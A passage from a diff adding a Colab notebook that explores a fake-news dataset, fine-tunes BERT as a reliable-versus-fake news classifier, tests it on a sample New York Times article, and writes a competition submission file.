+        "outputId": "9a4978e8-756f-4db4-c16c-2c3fb8216621"
+      },
+      "outputs": [],
+      "source": [
+        "!unzip fake-news.zip"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "collapsed": true,
+        "id": "xSK_epCLZT2v"
+      },
+      "outputs": [],
+      "source": [
+        "### Import all library\n",
+        "import pandas as pd\n",
+        "import numpy as np\n",
+        "import matplotlib.pyplot as plt\n",
+        "import seaborn as sns"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "jlIOzQCQMidA",
+        "outputId": "0411a5c3-faa7-49af-a34e-2021bf2d09f7"
+      },
+      "outputs": [],
+      "source": [
+        "import nltk\n",
+        "nltk.download('stopwords')\n",
+        "nltk.download('wordnet')"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "WLe24P_AZT23"
+      },
+      "outputs": [],
+      "source": [
+        "# load the dataset\n",
+        "news_d = pd.read_csv(\"train.csv\")\n",
+        "submit_test = pd.read_csv(\"test.csv\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "9QyYwLcfZT26",
+        "outputId": "102a4d15-1844-43ed-c979-3d849a0fd7f1"
+      },
+      "outputs": [],
+      "source": [
+        "## Shape and colums of train dataset\n",
+        "print(\" Shape of News data :: \", news_d.shape)\n",
+        "print(\" News data columns\", news_d.columns)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 206
+        },
+        "id": "dV2tqqQflsnY",
+        "outputId": "a15e4bf7-6ca0-45f0-a29b-233407f67f94"
+      },
+      "outputs": [],
+      "source": [
+        "## by using df.head(),We can immediately familiarize ourselves with the dataset. \n",
+        "news_d.head()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "usijKYn4ZT2_",
+        "outputId": "d6812488-fe36-40e9-d16e-89492b851c2d"
+      },
+      "outputs": [],
+      "source": [
+        "#Text Word startistics: min.mean, max and interquartile range\n",
+        "\n",
+        "txt_length = news_d.text.str.split().str.len()\n",
+        "txt_length.describe()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "RxecYM54ZT3B",
+        "outputId": "d92adedf-0484-4cdc-d3a6-5c85189ad6df"
+      },
+      "outputs": [],
+      "source": [
+        "#Title statistics \n",
+        "\n",
+        "title_length = news_d.title.str.split().str.len()\n",
+        "title_length.describe()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 388
+        },
+        "id": "ZY-ANnATZT3F",
+        "outputId": "62e491f9-7965-43a4-9957-88689482f28a"
+      },
+      "outputs": [],
+      "source": [
+        "sns.countplot(x=\"label\", data=news_d);\n",
+        "print(\"1: Unreliable\")\n",
+        "print(\"0: Reliable\")\n",
+        "print(\"Distribution of labels:\")\n",
+        "print(news_d.label.value_counts());\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "osktMXOhusEN",
+        "outputId": "cb244f09-e520-4a6b-b853-1c0b83d51677"
+      },
+      "outputs": [],
+      "source": [
+        "print(round(news_d.label.value_counts(normalize=True),2)*100);"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "collapsed": true,
+        "id": "KfZe4hi4ZT3T"
+      },
+      "outputs": [],
+      "source": [
+        "# Constants that are used to sanitize the datasets \n",
+        "column_n = ['id', 'title', 'author', 'text', 'label']\n",
+        "remove_c = ['id','author']\n",
+        "categorical_features = []\n",
+        "target_col = ['label']\n",
+        "text_f = ['title', 'text']"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "collapsed": true,
+        "id": "oasDD7W9ZT3V"
+      },
+      "outputs": [],
+      "source": [
+        "# Clean Datasets\n",
+        "import nltk\n",
+        "from nltk.corpus import stopwords\n",
+        "import re\n",
+        "from nltk.stem.porter import PorterStemmer\n",
+        "from collections import Counter\n",
+        "\n",
+        "ps = PorterStemmer()\n",
+        "wnl = nltk.stem.WordNetLemmatizer()\n",
+        "\n",
+        "stop_words = stopwords.words('english')\n",
+        "stopwords_dict = Counter(stop_words)\n",
+        "\n",
+        "# Removed unused clumns\n",
+        "def remove_unused_c(df,column_n=remove_c):\n",
+        "    df = df.drop(column_n,axis=1)\n",
+        "    return df\n",
+        "\n",
+        "# Impute null values with None\n",
+        "def null_process(feature_df):\n",
+        "    for col in text_f:\n",
+        "        feature_df.loc[feature_df[col].isnull(), col] = \"None\"\n",
+        "    return feature_df\n",
+        "\n",
+        "def clean_dataset(df):\n",
+        "    # remove unused column\n",
+        "    df = remove_unused_c(df)\n",
+        "    #impute null values\n",
+        "    df = null_process(df)\n",
+        "    return df\n",
+        "\n",
+        "# Cleaning text from unused characters\n",
+        "def clean_text(text):\n",
+        "    text = str(text).replace(r'http[\\w:/\\.]+', ' ')  # removing urls\n",
+        "    text = str(text).replace(r'[^\\.\\w\\s]', ' ')  # remove everything but characters and punctuation\n",
+        "    text = str(text).replace('[^a-zA-Z]', ' ')\n",
+        "    text = str(text).replace(r'\\s\\s+', ' ')\n",
+        "    text = text.lower().strip()\n",
+        "    #text = ' '.join(text)    \n",
+        "    return text\n",
+        "\n",
+        "## Nltk Preprocessing include:\n",
+        "# Stop words, Stemming and Lemmetization\n",
+        "# For our project we use only Stop word removal\n",
+        "def nltk_preprocess(text):\n",
+        "    text = clean_text(text)\n",
+        "    wordlist = re.sub(r'[^\\w\\s]', '', text).split()\n",
+        "    #text = ' '.join([word for word in wordlist if word not in stopwords_dict])\n",
+        "    #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict]\n",
+        "    text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict])\n",
+        "    return  text"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "VjhrcHdx4wEC"
+      },
+      "outputs": [],
+      "source": [
+        "# Perform data cleaning on train and test dataset by calling clean_dataset function\n",
+        "df = clean_dataset(news_d)\n",
+        "# apply preprocessing on text through apply method by calling the function nltk_preprocess\n",
+        "df[\"text\"] = df.text.apply(nltk_preprocess)\n",
+        "# apply preprocessing on title through apply method by calling the function nltk_preprocess\n",
+        "df[\"title\"] = df.title.apply(nltk_preprocess)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 206
+        },
+        "id": "INSy__WHZT3Y",
+        "outputId": "986ab5ec-2bd7-41a6-8edc-7c8447cd2401"
+      },
+      "outputs": [],
+      "source": [
+        "# Dataset after cleaning and preprocessing step\n",
+        "df.head()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 855
+        },
+        "id": "XktcLR8nZT3b",
+        "outputId": "8e2bb11d-fd93-4d14-abf4-70f27eb79f1f"
+      },
+      "outputs": [],
+      "source": [
+        "from wordcloud import WordCloud, STOPWORDS\n",
+        "import matplotlib.pyplot as plt\n",
+        "\n",
+        "# initialize the word cloud\n",
+        "wordcloud = WordCloud( background_color='black', width=800, height=600)\n",
+        "# generate the word cloud by passing the corpus\n",
+        "text_cloud = wordcloud.generate(' '.join(df['text']))\n",
+        "# plotting the word cloud\n",
+        "plt.figure(figsize=(20,30))\n",
+        "plt.imshow(text_cloud)\n",
+        "plt.axis('off')\n",
+        "plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 855
+        },
+        "id": "vMPUtlQfZT3d",
+        "outputId": "dbd7bac6-68f7-471e-c1ae-fb905296671e"
+      },
+      "outputs": [],
+      "source": [
+        "true_n = ' '.join(df[df['label']==0]['text']) \n",
+        "wc = wordcloud.generate(true_n)\n",
+        "plt.figure(figsize=(20,30))\n",
+        "plt.imshow(wc)\n",
+        "plt.axis('off')\n",
+        "plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 855
+        },
+        "id": "lFqg39MNZT3f",
+        "outputId": "682e9b1a-ce73-41dd-ba9e-ec8ca895281d"
+      },
+      "outputs": [],
+      "source": [
+        "fake_n = ' '.join(df[df['label']==1]['text'])\n",
+        "wc= wordcloud.generate(fake_n)\n",
+        "plt.figure(figsize=(20,30))\n",
+        "plt.imshow(wc)\n",
+        "plt.axis('off')\n",
+        "plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "1DxgVIzkXA44"
+      },
+      "outputs": [],
+      "source": [
+        "def plot_top_ngrams(corpus, title, ylabel, xlabel=\"Number of Occurences\", n=2):\n",
+        "  \"\"\"Utility function to plot top n-grams\"\"\"\n",
+        "  true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20]\n",
+        "  true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))\n",
+        "  plt.title(title)\n",
+        "  plt.ylabel(ylabel)\n",
+        "  plt.xlabel(xlabel)\n",
+        "  plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 513
+        },
+        "id": "fYiuP4P4ZT3k",
+        "outputId": "ab9b7eba-bd5d-4e97-ba86-f5bb6f537554"
+      },
+      "outputs": [],
+      "source": [
+        "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', \"Bigram\", n=2)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 513
+        },
+        "id": "nv9LYUI6ZT3m",
+        "outputId": "fa2b2cc7-4dc1-4c70-cc74-2029841bc32d"
+      },
+      "outputs": [],
+      "source": [
+        "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', \"Bigram\", n=2)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 513
+        },
+        "id": "p_blWx4cZT3o",
+        "outputId": "2bb7b649-3898-4eaa-ed81-905b0b3d30d8"
+      },
+      "outputs": [],
+      "source": [
+        "plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', \"Trigrams\", n=3)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 513
+        },
+        "id": "ev5s93pgZT3q",
+        "outputId": "4da176b6-18ce-4e20-b959-a2d3c2605899"
+      },
+      "outputs": [],
+      "source": [
+        "plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', \"Trigrams\", n=3)"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "VYcNDP6D1W6_"
+      },
+      "source": [
+        "# Fine-tuning BERT"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "pYv1yNN-1WMb",
+        "outputId": "4507ec5e-e21f-4d00-b861-f97997c2f977"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install transformers"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ATmM7Lx-15Rs"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available\n",
+        "from transformers import BertTokenizerFast, BertForSequenceClassification\n",
+        "from transformers import Trainer, TrainingArguments\n",
+        "import numpy as np\n",
+        "from sklearn.model_selection import train_test_split\n",
+        "\n",
+        "import random"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "6Gj4Dl2u19uV"
+      },
+      "outputs": [],
+      "source": [
+        "def set_seed(seed: int):\n",
+        "    \"\"\"\n",
+        "    Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if\n",
+        "    installed).\n",
+        "\n",
+        "    Args:\n",
+        "        seed (:obj:`int`): The seed to set.\n",
+        "    \"\"\"\n",
+        "    random.seed(seed)\n",
+        "    np.random.seed(seed)\n",
+        "    if is_torch_available():\n",
+        "        torch.manual_seed(seed)\n",
+        "        torch.cuda.manual_seed_all(seed)\n",
+        "        # ^^ safe to call this function even if cuda is not available\n",
+        "    if is_tf_available():\n",
+        "        import tensorflow as tf\n",
+        "\n",
+        "        tf.random.set_seed(seed)\n",
+        "\n",
+        "set_seed(1)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "BBSgBl5t2G5t"
+      },
+      "outputs": [],
+      "source": [
+        "# the model we gonna train, base uncased BERT\n",
+        "# check text classification models here: https://huggingface.co/models?filter=text-classification\n",
+        "model_name = \"bert-base-uncased\"\n",
+        "# max sequence length for each document/sentence sample\n",
+        "max_length = 512"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145,
+          "referenced_widgets": [
+            "c7220a29b2a14ccc8987044605d6f1ec",
+            "ef9d91c93fb74a4f94ad0872407a04c7",
+            "e4b3753b938140cdbac1bfff1f63ba09",
+            "25f7dde2c32c4acdb25bc24b8ca5b313",
+            "7ae0fecdd1234b71906144e81c0a6ab1",
+            "3653a74c1ca94b25a3ea52c95dfc0587",
+            "1a081da141354fa2aad25058d0aa7678",
+            "869001147458472790d4d55321a0e326",
+            "97069d80c78a474ba05ad7f03a1eec1f",
+            "c56ff4e8152d4ccc8cfa9b821c077c36",
+            "9415fcafd9fd4ccfa4ac5a2226e4f04c",
+            "ffc52c35a5554f57ad5b498b45064003",
+            "cde0784e04254b5eb49f53b92ea54588",
+            "673e98e028074102bc1441f97dd5e247",
+            "e05ef028960e4b128ba47f6b3faf1241",
+            "73c0a67491b54e59b6020385ce42cee1",
+            "d95345cb1b5a4e468c016e7bd6b11b35",
+            "ef268e43022741cba1b19b436ea9dbb3",
+            "e13376ed7fa4446cb171837957959d5f",
+            "953307be2c19462da0bf7d66db7cad9f",
+            "3a7f0faddcc442518dd3c93bc5e287a4",
+            "319d08a0e887456090afc7301f78e545",
+            "5a679ed6a9c74738a6e99d56de4402bc",
+            "e4ee7d65f85f41d7a342df1166d8d958",
+            "209e91111bf34fc3ae775f62b258511c",
+            "f3246d91c82740259cde9e18d9661da4",
+            "12c21bb187b94c42b536ffa8cc57c6c8",
+            "017ac4ceb8af464d86b3e30b3fbac283",
+            "ab199bb314f744129f62a5646cca5978",
+            "5e7b2bfb681748168ecdcc7033b1a11b",
+            "32d1817612724162bdf405d35e3b1cce",
+            "d324b99bcd51417b9b5000543c79ddd6",
+            "769ec6aa62184828bbc8d265bc7ef36b",
+            "7cb4d0092c534e819234cfc52c3b8e47",
+            "fd158d39ffa5481ea6fa6cc5b969e739",
+            "151f60cdd3f649eeab67049a35902bdb",
+            "2972cba04af24ee3b5192c272d75bcd4",
+            "ecd426dbd27a4645be1f40e1adcf19dc",
+            "6f53d5959f9a4b95852e19d874fefe6c",
+            "607f0256b8ad43e5b9b78d965d0adab6",
+            "e8693eaf31154bebab1acf28b0d9e74a",
+            "10d7ec314e47444eb28ec19a501549d7",
+            "b4f311aff8e548089aa86f3a09f6c007",
+            "dabb004515fb40e0b6fd6d997b73729d"
+          ]
+        },
+        "id": "HZsMvClx2I5u",
+        "outputId": "1af201af-182a-4f55-9872-2576be9abc32"
+      },
+      "outputs": [],
+      "source": [
+        "# load the tokenizer\n",
+        "tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "aVWQAOaTxsw_"
+      },
+      "outputs": [],
+      "source": [
+        "news_df = news_d[news_d['text'].notna()]\n",
+        "news_df = news_df[news_df[\"author\"].notna()]\n",
+        "news_df = news_df[news_df[\"title\"].notna()]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "gqvonAiG2L8I"
+      },
+      "outputs": [],
+      "source": [
+        "def prepare_data(df, test_size=0.2, include_title=True, include_author=True):\n",
+        "  texts = []\n",
+        "  labels = []\n",
+        "  for i in range(len(df)):\n",
+        "    text = df[\"text\"].iloc[i]\n",
+        "    label = df[\"label\"].iloc[i]\n",
+        "    if include_title:\n",
+        "      text = df[\"title\"].iloc[i] + \" - \" + text\n",
+        "    if include_author:\n",
+        "      text = df[\"author\"].iloc[i] + \" : \" + text\n",
+        "    if text and label in [0, 1]:\n",
+        "      texts.append(text)\n",
+        "      labels.append(label)\n",
+        "  return train_test_split(texts, labels, test_size=test_size)\n",
+        "\n",
+        "train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "IiLpso7fsF2B",
+        "outputId": "de863044-393a-4b57-c233-71354710550e"
+      },
+      "outputs": [],
+      "source": [
+        "print(len(train_texts), len(train_labels))\n",
+        "print(len(valid_texts), len(valid_labels))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ti8E-RyC6SKK"
+      },
+      "outputs": [],
+      "source": [
+        "# tokenize the dataset, truncate when passed `max_length`, \n",
+        "# and pad with 0's when less than `max_length`\n",
+        "train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)\n",
+        "valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "YcyI8hLq6U9Y"
+      },
+      "outputs": [],
+      "source": [
+        "class NewsGroupsDataset(torch.utils.data.Dataset):\n",
+        "    def __init__(self, encodings, labels):\n",
+        "        self.encodings = encodings\n",
+        "        self.labels = labels\n",
+        "\n",
+        "    def __getitem__(self, idx):\n",
+        "        item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}\n",
+        "        item[\"labels\"] = torch.tensor([self.labels[idx]])\n",
+        "        return item\n",
+        "\n",
+        "    def __len__(self):\n",
+        "        return len(self.labels)\n",
+        "\n",
+        "# convert our tokenized data into a torch Dataset\n",
+        "train_dataset = NewsGroupsDataset(train_encodings, train_labels)\n",
+        "valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 160,
+          "referenced_widgets": [
+            "fab1c16a83244aaebb8e7a1669b5d208",
+            "474bc31082cc4cd69a1651b16c4d825f",
+            "60995794ce7d4bd3b5922ff70f6301e6",
+            "c754de540c8a47cebf3f6e4f050b40cf",
+            "5104e72cc66d45ef9a32458907c10a4f",
+            "bd777df747a94960b326b26b4f7e4026",
+            "040058ca10954543b7bfc5738742796d",
+            "9de1f4b501a64163858ce6032aa6ee1d",
+            "cd4631285003490989c95785e253f037",
+            "981446561c774f84a56f357578e8ec9b",
+            "7460b86df5f44d89912c9dbbb04063fe"
+          ]
+        },
+        "id": "ASscw49-6YTH",
+        "outputId": "ee7cf258-174c-4138-ec7a-16d0bce9f19e"
+      },
+      "outputs": [],
+      "source": [
+        "# load the model\n",
+        "model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8a22Zs9Q6dU3"
+      },
+      "outputs": [],
+      "source": [
+        "from sklearn.metrics import accuracy_score\n",
+        "\n",
+        "def compute_metrics(pred):\n",
+        "  labels = pred.label_ids\n",
+        "  preds = pred.predictions.argmax(-1)\n",
+        "  # calculate accuracy using sklearn's function\n",
+        "  acc = accuracy_score(labels, preds)\n",
+        "  return {\n",
+        "      'accuracy': acc,\n",
+        "  }"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "rUVrSKAY6hAG"
+      },
+      "outputs": [],
+      "source": [
+        "training_args = TrainingArguments(\n",
+        "    output_dir='./results',          # output directory\n",
+        "    num_train_epochs=1,              # total number of training epochs\n",
+        "    per_device_train_batch_size=10,  # batch size per device during training\n",
+        "    per_device_eval_batch_size=20,   # batch size for evaluation\n",
+        "    warmup_steps=100,                # number of warmup steps for learning rate scheduler\n",
+        "    logging_dir='./logs',            # directory for storing logs\n",
+        "    load_best_model_at_end=True,     # load the best model when finished training (default metric is loss)\n",
+        "    # but you can specify `metric_for_best_model` argument to change to accuracy or other metric\n",
+        "    logging_steps=200,               # log & save weights each logging_steps\n",
+        "    save_steps=200,\n",
+        "    evaluation_strategy=\"steps\",     # evaluate each `logging_steps`\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "7kkoRH1D6o4q"
+      },
+      "outputs": [],
+      "source": [
+        "trainer = Trainer(\n",
+        "    model=model,                         # the instantiated Transformers model to be trained\n",
+        "    args=training_args,                  # training arguments, defined above\n",
+        "    train_dataset=train_dataset,         # training dataset\n",
+        "    eval_dataset=valid_dataset,          # evaluation dataset\n",
+        "    compute_metrics=compute_metrics,     # the callback that computes metrics of interest\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 1000
+        },
+        "id": "qFHApKa56rMC",
+        "outputId": "1327c322-4494-464d-fb1d-008f508cae00"
+      },
+      "outputs": [],
+      "source": [
+        "# train the model\n",
+        "trainer.train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 200
+        },
+        "id": "kc8xZ9QQ6tpV",
+        "outputId": "5173af72-4acf-4491-fb70-04e22dc12082"
+      },
+      "outputs": [],
+      "source": [
+        "# evaluate the current model after training\n",
+        "trainer.evaluate()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "cFAyggnR6wtU",
+        "outputId": "6b4078a6-6d8e-4252-9cbd-0c90c4ab55a8"
+      },
+      "outputs": [],
+      "source": [
+        "# saving the fine tuned model & tokenizer\n",
+        "model_path = \"fake-news-bert-base-uncased\"\n",
+        "model.save_pretrained(model_path)\n",
+        "tokenizer.save_pretrained(model_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "EQ9LP_Ea6zjJ"
+      },
+      "outputs": [],
+      "source": [
+        "def get_prediction(text, convert_to_label=False):\n",
+        "    # prepare our text into tokenized sequence\n",
+        "    inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors=\"pt\").to(\"cuda\")\n",
+        "    # perform inference to our model\n",
+        "    outputs = model(**inputs)\n",
+        "    # get output probabilities by doing softmax\n",
+        "    probs = outputs[0].softmax(1)\n",
+        "    # executing argmax function to get the candidate label\n",
+        "    d = {\n",
+        "        0: \"reliable\",\n",
+        "        1: \"fake\"\n",
+        "    }\n",
+        "    if convert_to_label:\n",
+        "      return d[int(probs.argmax())]\n",
+        "    else:\n",
+        "      return int(probs.argmax())"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "iZudoyZCvKS0"
+      },
+      "outputs": [],
+      "source": [
+        "real_news = \"\"\"\n",
+        "Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times\",Daniel Victor,\"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman   quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen,   of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry  —   scouts, executives, players and fans  —   will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former   outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one   season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a    in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. L. Draft, and he quickly developed a reputation for clutch performances, including a memorable   pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015.\n",
+        "\"\"\""
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "jk6rLQ8oxIoW",
+        "outputId": "44932e8f-f02b-41a3-96c9-c69ada7bdaf2"
+      },
+      "outputs": [],
+      "source": [
+        "get_prediction(real_news, convert_to_label=True)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "mSi5cC-r_rMt"
+      },
+      "outputs": [],
+      "source": [
+        "# read the test set\n",
+        "test_df = pd.read_csv(\"test.csv\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 206
+        },
+        "id": "N69rpfDrAWiE",
+        "outputId": "62bdc6bd-00b0-46b0-e6e4-50a239dab299"
+      },
+      "outputs": [],
+      "source": [
+        "test_df.head()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "IV-Kmhn2AXTv"
+      },
+      "outputs": [],
+      "source": [
+        "# make a copy of the testing set\n",
+        "new_df = test_df.copy()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 337
+        },
+        "id": "-6czO_rAAyiy",
+        "outputId": "ba5b9b7d-15da-4c07-f8de-56401933fa24"
+      },
+      "outputs": [],
+      "source": [
+        "# add a new column that contains the author, title and article content\n",
+        "new_df[\"new_text\"] = new_df[\"author\"].astype(str) + \" : \" + new_df[\"title\"].astype(str) + \" - \" + new_df[\"text\"].astype(str)\n",
+        "new_df.head()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "AX37lgzOA7qd"
+      },
+      "outputs": [],
+      "source": [
+        "# get the prediction of all the test set\n",
+        "new_df[\"label\"] = new_df[\"new_text\"].apply(get_prediction)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "dxpNmc2UELdn"
+      },
+      "outputs": [],
+      "source": [
+        "# make the submission file\n",
+        "final_df = new_df[[\"id\", \"label\"]]\n",
+        "final_df.to_csv(\"submit_final.csv\", index=False)"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
